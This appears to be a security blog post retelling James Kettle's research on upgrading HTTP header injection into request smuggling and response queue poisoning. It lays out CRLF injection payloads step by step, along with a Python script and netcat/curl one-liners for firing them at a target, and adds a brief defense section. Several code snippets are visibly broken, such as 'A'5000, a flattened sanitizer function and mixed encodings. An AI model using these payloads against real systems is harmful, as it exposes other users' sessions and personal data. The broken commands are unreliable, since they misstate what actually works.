Listen to this Post
Introduction
HTTP header injection has long been underestimated by security professionals, often dismissed as a moderate-severity flaw on par with cross-site scripting (XSS) or open redirection. However, when combined with response queue poisoning, this seemingly mundane vulnerability transforms into a critical attack vector capable of exposing sensitive user data at scale. In September 2022, James Kettle (Director of Research at PortSwigger) demonstrated this exact transformation, turning a simple header injection into a $12,500 bug bounty by leveraging a technique that upgrades the flaw into full HTTP request smuggling.
Learning Objectives
- Understand the fundamental mechanics of HTTP header injection and why it is often misclassified
- Learn how to upgrade header injection vulnerabilities into HTTP request smuggling attacks
- Master response queue poisoning techniques to intercept responses intended for other authenticated users
- Identify defensive mechanisms like the stacked-response problem and learn potential bypass strategies
- Apply these techniques in bug bounty programs and penetration testing engagements
You Should Know
- Understanding HTTP Header Injection and Its True Potential
HTTP header injection occurs when an attacker can inject arbitrary headers into an HTTP request or response by manipulating user-controllable input. The classic example involves injecting carriage return and line feed (CRLF) characters (%0d%0a) to terminate the current header and begin a new one. While many security researchers treat this as a nuisance vulnerability, Kettle’s research demonstrates that it can be weaponized into a critical desynchronization attack.
The vulnerability that sparked this research was discovered on a major, high-traffic site serving critical functionality. A stranger emailed Kettle with a path-based request header injection and asked for exploitation ideas. The injection looked like this:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0a%0d%0a HTTP/1.1 Host: redacted.net HTTP/1.1 200 OK
This injection allows an attacker to insert arbitrary HTTP headers into the request stream, potentially manipulating how front-end and back-end servers interpret the request boundaries.
Key concept: The core issue is that different HTTP components (front-end proxies, load balancers, back-end application servers) may parse request boundaries differently. This parsing discrepancy is the foundation of HTTP request smuggling and, by extension, response queue poisoning.
2. Upgrading Header Injection to HTTP Request Smuggling
The technique to convert header injection into request smuggling is surprisingly simple. Kettle outlines a straightforward process:
Step 1: Exit the Injection Context Cleanly
First, identify where your injection occurs and add everything necessary to cleanly exit the current context:
GET /%20HTTP/1.1%0d%0a%0d%0a HTTP/1.1 HTTP/1.1 400 Bad Request Connection: close
Step 2: Keep the Connection Alive
Inject essential headers to ensure the back-end server keeps the connection open after responding to the initial request:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1 HTTP/1.1 200 OK Connection: keep-alive
Step 3: Specify a Second Request
At this point, you can specify a second request fully under your control, setting up a classic request smuggling attack:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1
This crafted prefix can poison either the next user’s request or a web cache. The key insight is that the server will append additional headers or body content after your injection, so you must account for this trailing junk.
3. Response Queue Poisoning: The Critical Upgrade
The most devastating application of this technique is response queue poisoning. Instead of simply smuggling requests, the attacker crafts their prefix to combine with the trailing junk and create a complete second request. This triggers response queue poisoning, where responses intended for other authenticated users are delivered to the attacker.
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1
When executed successfully, the attacker intermittently receives responses intended for other authenticated users. Kettle reported having a “beautiful screenshot” showing this exact scenario—receiving responses meant for other users—which proved critical impact to the target. The target patched the vulnerability in under 24 hours and awarded the $12,500 bounty.
Why this is critical: Unlike traditional header injection that might lead to XSS or open redirection, response queue poisoning directly exposes sensitive user data—session tokens, personal information, financial data, and more—without requiring any user interaction.
4. The Stacked-Response Problem and Bypass Techniques
Not all response header injections can be easily upgraded. Kettle discovered a defense mechanism he dubbed the “stacked-response problem”. When web browsers read a response and encounter more data than the server promised in the Content-Length header, they truncate the response and close the connection.
Kettle suspects that some major front-end servers have a similar mechanism, which has two security implications:
- Regular desync attacks remain unaffected, but response-queue poisoning is mitigated
- Converting response header injection into an HTTP desync becomes difficult
Bypass strategy: If your attempts at causing a desync via response header injection fail, you may have encountered this mechanism. To bypass it, you need to delay the injected response so that the front-end’s over-read doesn’t see it. One possible approach is to inject a large number of newlines, which are typically consumed by servers without triggering request/response processing.
Testing for the stacked-response problem:
Linux - Using curl to test response handling
curl -v -H "X-Forwarded-For: $(python3 -c 'print("A"5000)')" https://target.com/vulnerable-endpoint
Windows PowerShell equivalent
Invoke-WebRequest -Uri "https://target.com/vulnerable-endpoint" -Headers @{"X-Forwarded-For"=("A"5000)}
5. Practical Exploitation: Tools and Commands
For penetration testers and bug bounty hunters, several tools can assist in detecting and exploiting header injection vulnerabilities:
Using Burp Suite for Header Injection Testing:
1. Send the request to Repeater
2. Insert CRLF sequences (`%0d%0a`) into user-controllable parameters
- Observe the response for evidence of header injection (new headers appearing, response splitting)
Using custom Python scripts for automation:
import requests
import urllib.parse
Payload to test for header injection
payload = "/%20HTTP/1.1%0d%0aHost:%20attacker.com%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar"
url = f"https://target.com{payload}"
response = requests.get(url, allow_redirects=False)
print(f"Status: {response.status_code}")
print(f"Headers: {response.headers}")
Using netcat for manual testing:
Linux printf "GET /%20HTTP/1.1%0d%0aHost:%20target.com%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1\r\nHost: target.com\r\n\r\n" | nc target.com 80 Windows (using telnet or ncat) echo "GET /%20HTTP/1.1%0d%0aHost:%20target.com%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1" | ncat target.com 80
6. Defense and Mitigation Strategies
For security teams defending against these attacks, several countermeasures are essential:
Input Validation and Sanitization:
Python - Sanitizing user input to prevent CRLF injection def sanitize_header_input(user_input): Remove CR, LF, and other control characters forbidden = ['\r', '\n', '\x0a', '\x0d'] for char in forbidden: user_input = user_input.replace(char, '') return user_input
Web Application Firewall (WAF) Rules:
Nginx - Block CRLF sequences in headers
if ($http_x_forwarded_for ~ "[\r\n]") {
return 400;
}
Front-End Server Hardening:
- Implement strict Content-Length validation
- Use HTTP/2 or HTTP/3 which are less susceptible to desync attacks
- Regularly update reverse proxies and load balancers
- Enable request smuggling detection features (available in modern WAFs)
7. The Forgotten Knowledge Phenomenon
Kettle notes an interesting historical context: these techniques “used to be known but got forgotten alongside HTTP Request Smuggling”. This explains why some researchers refer to response header injection as “response splitting” even though they never actually split the response.
This observation highlights a broader trend in cybersecurity—the phenomenon of forgotten security knowledge. As defensive technologies evolve and new attack vectors emerge, older techniques are often neglected, creating blind spots that attackers can exploit.
What Undercode Say
- Key Takeaway 1: HTTP header injection is not a low-severity issue. When combined with response queue poisoning, it becomes a critical vulnerability capable of exposing sensitive user data. The $12,500 bounty proves that organizations recognize the severity when properly demonstrated.
-
Key Takeaway 2: The technique is surprisingly simple. Converting header injection to request smuggling requires just a few steps: cleanly exit the injection context, keep the connection alive, and specify a second request. The difficulty lies not in the execution but in recognizing the opportunity.
Analysis: James Kettle’s research demonstrates the importance of creative thinking in vulnerability exploitation. The traditional view of header injection as a “moderate” flaw stems from a lack of understanding of its potential in complex HTTP architectures. With modern web applications relying on multiple layers of proxies, load balancers, and application servers, the attack surface for desync attacks has expanded significantly.
The stacked-response problem Kettle identified also reveals an ongoing cat-and-mouse game between attackers and defenders. As front-end servers implement mechanisms to prevent over-reading, attackers develop new bypass techniques—such as injecting newlines to delay responses. This arms race is likely to continue as HTTP desync attacks gain more attention.
For bug bounty hunters, this research provides a valuable addition to the exploitation toolkit. Many programs still classify header injection as a P4 or P5 severity issue, but demonstrating response queue poisoning can elevate it to critical status—and critical payouts.
Prediction
- +1: Response queue poisoning techniques will become a standard part of web application penetration testing methodologies, with automated scanners incorporating detection capabilities within 12-18 months.
-
+1: Bug bounty programs will revise their severity classifications for header injection vulnerabilities, recognizing the potential for critical impact when combined with desync attacks.
-
-1: As awareness of these techniques grows, attackers will increasingly target complex HTTP infrastructures, leading to a wave of high-profile data breaches attributed to desync vulnerabilities.
-
-1: The defensive landscape will fragment, with some organizations implementing effective countermeasures while others remain vulnerable due to legacy infrastructure that cannot be easily patched.
-
+1: Research into the stacked-response problem will yield new bypass techniques, creating opportunities for further critical findings in bug bounty programs.
-
-1: Organizations that fail to implement proper input validation and front-end server hardening will remain exposed to these attacks, potentially facing regulatory penalties and reputational damage.
-
+1: The security community will rediscover and document other “forgotten” techniques, leading to a renaissance in HTTP protocol security research and a new wave of defensive innovations.
▶️ Related Video (80% Match):
https://www.youtube.com/watch?v=0_6xyZ4oj1w
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: Omar Aljabr – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
